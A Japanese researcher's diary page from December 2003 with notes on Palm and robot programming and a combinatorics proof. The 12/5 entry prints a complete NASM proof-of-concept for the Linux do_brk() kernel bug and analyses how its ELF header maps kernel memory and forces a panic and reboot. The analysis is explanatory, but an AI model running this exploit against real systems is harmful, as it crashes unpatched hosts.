日記のような日記でないような

2003年12月

2003年: 最新月| 11月| 10月| 9月| 8月| 7月| 6月| 5月| 4月| 3月| 2月| 1月|
2002年: 12月| 11月| 10月| 9月| 8月| 7月| 6月| 5月| 4月| 3月| 2月| 1月|
2001年: 12月| 11月| 10月| 9月| 8月| 7月| 6月| 5月| 4月| 3月| 2月| 1月|
2000年: 12月| 11月| 10月| 9月| 8月| 7月| 6月| 5月| 4月| ホームに戻る

内容はその日の昼に書いていますが,思いつくと書き足され編集されるので 見にくるたびに内容が増えるかもしれませんがあしからず.2度おいしいと 解釈してください(んなわけねえよ).

12/13(Sat)
codewarriorでDAを書くのはまだうまくいってない.リソースの書き方に 問題があるだろうか.たんにMainフォームをmodalにしてbackground save にしただけなんだけど.表示できない.おかしい.

こないだ購入したPioneer3DX移動ロボットのプログラムを考える. シリアルでつながっていてコマンドをおくると制御できると非常に 低水準の関数を予想していたら,なんとなんとめちゃくちゃ多機能な クラスライブラリARIAがついてきた. こいつはTCPも喋るし,コマンドライクなtelnetサーバも簡単に構築可能. コマンドやセンサー情報を取得は高度に抽象化されたクラスから呼び出し 可能で,ロボット自体がこれまた抽象化されたクラスになっているので, ほとんどはデフォルトコンストラクタまかせでロボットが動いてしまう. うーん感動.

今日のところは,ArRobotクラスのrun()メソッドでロボットが動作ループ に入っているいるときに,どうやってループ中の更新イベントを拾うか から検討開始.ArRobotにはArActionクラスのサブクラスで表現される 行動規則をaddAction()メソッドで追加しておくと,run()したときには デフォルトのresolver(行動制御クラス)であるArPriorityResolver クラスが各actionに定められたpriorityにしたがってactionをactivate することが判明.このArPriorityResolverのvirtualメソッドresolve() がそのルーチンと分かったので,ArPriorityResolverクラスを継承して MyResolverクラスを作成,resolve()メソッドをオーバーロードしたところ, このルーチンが毎回のループでコールされていると確認できた.

そこで,オーバーロードしたresolve()メソッドに渡されるArRobotクラス インスタンスへのポインタ(つまりロボット自体)経由で, ArRobot::getX(),getY(),getTh()メソッドをコール.それぞれ初期位置 の座標系でのX,Y,θ値を返すものだ.要するにエンコーダの値を積分 したものだろう.こいつをゲットすることにも無事成功した.ArRobot へのポインタが得られているからロボットへの移動制御コマンドをいくら でも送ることができる.さて,あとはこれのwrapperクラスとしてpapero ワーカを実装すればいいわけだな.よしよし.

12/9(Tue)
codewarriorの件はわかった.「設定」のところから「ターゲット」を 「PalmOSアプリ」じゃなくて「コード」だったか「バイナリ」だったか を選べばよかった.そうするとentrypointとかリソースタイプとかが でてくるので,code, 1000に指定する.しかしまだうまくいってない. もう少し実験が必要.

スバルのあたらしい軽R2というのが出るのだが, webcgの記事によると,車内でフレーバーが楽しめるらしい. シガーソケットに専用のアクセサリーを差し込んで,そこに ベープマットのようなシートを入れると香りがでてくるらしい. 名付けて スバルアロマティックブレイク.必殺技の名前みたいだな.

P.S. フレーバーではなくフレグランスというらしい.フレーバーは 食物の香り,それ以外はフレグランスらしい.

12/8(Mon)
codewarriorのチュートリアルを実施終了.だいたい雰囲気がわかった. 通常のアプリなら作れそうだ.clieのハイレゾとジョグの開発を試して みよう.あとカメラも.で,DAをつくりたいのだけどDAはPilotMain() ではなく,オブジェクトの先頭にある関数からスタートするらしい. しかし,ふつうにcodewarriorでアプリプロジェクトをつくると, prcのへッダをリンクするらしく,そこのstartエントリがPilotMain()を 要求してリンカがエラーを吐く.うーむ,どうやるのだろう? DAのサンプルソースを見るとみんなgccでつくっているらしい. そういうものなのか? codewarriorでDAを作るやり方を誰か教えて.

今月の電子情報通信学会誌の記事.理論計算機科学の最新動向という 小特集の扉記事(pp.911)で,こんな証明の話が出ている.

すべて異なったn個のでたらめに並んだ数 a1,a2,…an の中から単調に増加するか減少する部分列を求めたい(たとえば 7,9,4,6,3,8であれば4,6,8が最長の増加部分列, 4,6が6で終わる最長の部分列である).
(中略)
その性質として「いかなる列が与えられたとしても長さ √n以上の増加または減少の 部分列が得られる」というものが存在する.
で,そのErdosによる証明として以下が挙げられている.
√n以上の増加列が存在すれば終わりなので,存在しないと仮定しよう. 以下の集合X(k)を考える.
X(k)={ai|aiで終わる最長増加部分列の長さがk}
すべての aiはいずれかのX(k)に入り, 仮定からk<√nならX(k)は空である.したがってサイズ√n 以上のX(k)が存在し,その要素を xi1,xi2,… (i1<i2<…) とすると,それは減少列になっているので,証明できた.
理解できるまでに3回ほど読み直したが,うーんエレガントだ.何で k<√nのか がポイントかな.学生諸君はかんがえてみませう.分からなければ 図を書いてみること.今回の場合はX(k)のリストをならべてみましょう.

12/5(Fri)
ひさびさにcodewarriorを立ち上げてみる。clieをTJ25に乗り換えてから どうもおもったアプリが動かないので不便がある。そこで自作できない かしら、というわけである。ネット上からひろってきたツールを使い倒す ことは多くなったが、プログラムを書くことが減ってきているので、 このまま頭が腐ってしまうまえに少しリハビリをかねてのサンデー プログラミング計画だ。さてどうなるか。

Debianのサイトがヤラレた という情報が前からとびかっていたが、今週に はいって、新手のkernel exploitでヤラレタという 報告 が当のdebianのグループからでてきた。で検証用というexploitは非常に シンプルなのでなにが問題なのかよくわからなかった。そこでいろいろ 調べてみたらなんとなくわかってきたのでメモ代わりにここに記しておく。

問題のexploitは以下のとおり。

; ref.: http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
<上記の文章は読み物としてとてもおもしろいので最後まで読んでみること をお勧めする>
  BITS 32

                org     0xBFFFF000

  ehdr:                                                 ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1            ;   e_ident
        times 9 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx

  ehdrsize      equ     $ - ehdr

  phdr:                                                 ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      0x4000                          ;   p_memsz
                dd      7                               ;   p_flags
                dd      0x1000                          ;   p_align


  phdrsize      equ     $ - phdr

  _start:

                mov     eax, 162
                mov     ebx, timespec
                int     0x80

                mov     eax, 1
                mov     ebx, 0
                int     0x80

  timespec      dd      20,0

  filesize      equ     $ - $$
	 
このうち、_start以下が実行部分。それ以前はELFヘッダ。162をeaxレジスタ につんで20,0(16bit数値をつなげて32ビット)をebx(32ビットレジスタ) につんでint 80割り込みかけるのはLinuxにおけるシステム コールの呼び出しの常套句。162はシステムコール番号で /usr/include/asm/unistd.hによればnanosleepだそうだ。つまり20sec スリープしているということ。そのあとeaxに1をつんでebxに0をつんで int80、つまりexit(0)をコールしている。この実行コードを問題のkernelで 実行すると、リブートした。これがわからなかった。なぜsleepしてexitした だけでリブートするのか。

で、_start以下だけみていてもだめで、問題は上のほうにあった。つまり、

              org     0xBFFFF000
              dd      0x4000                          ;   p_memsz
の部分。orgのほうは、この実行ファイルがプロセスメモリマップ上のどこに ロードされるかを示している。ふつうは0x08048000になるらしい。で p_memszはこのファイルからロードしたプログラムがメモリ上でどれだけの サイズを占拠するかを決めていて、0x4000ということは、このプログラムが 0xBFFFF000<-->0xC0003000までを占拠する ことを意味する。これが問題。Linuxでは0xC0000000以上はカーネル領域で、 ユーザプロセスが入り込むことができない領域になっている。だから通常 この領域をアクセスするとsegmentation faultになってプロセスがとまる。 ところが、プロセスロード時にp_memszを指定してheap領域を拡張する際に カーネルの内部関数であるdo_brk()が0xC0000000のboundaryチェックを 落としてしまっていたので、プロセスは 0xC0000000<-->0xC0003000までのカーネル領域を ユーザーheapとしてアクセスできるようになってしまうようだ。

すると、exit()を呼んだ際、プロセスはユーザのstackやheap領域を開放 しようとしてカーネルにシステムコールをかける。0xC0000000以上の空間は 本来カーネル領域だが、ユーザーheapとして誤ってマップされているので、 カーネルはここも開放してしまう。このためカーネルモードでpage faultが おきpanic->rebootというシナリオだ。恐ろしい。 たぶん、nanosleepはたんにdo_brk()でheapが拡張されるのを待っているだけ で本質的意味はないのだろう。

これであってるかな.

ホームに戻る

Back Back to Shimada's Homepage
shimada@eng.osaka-u.ac.jp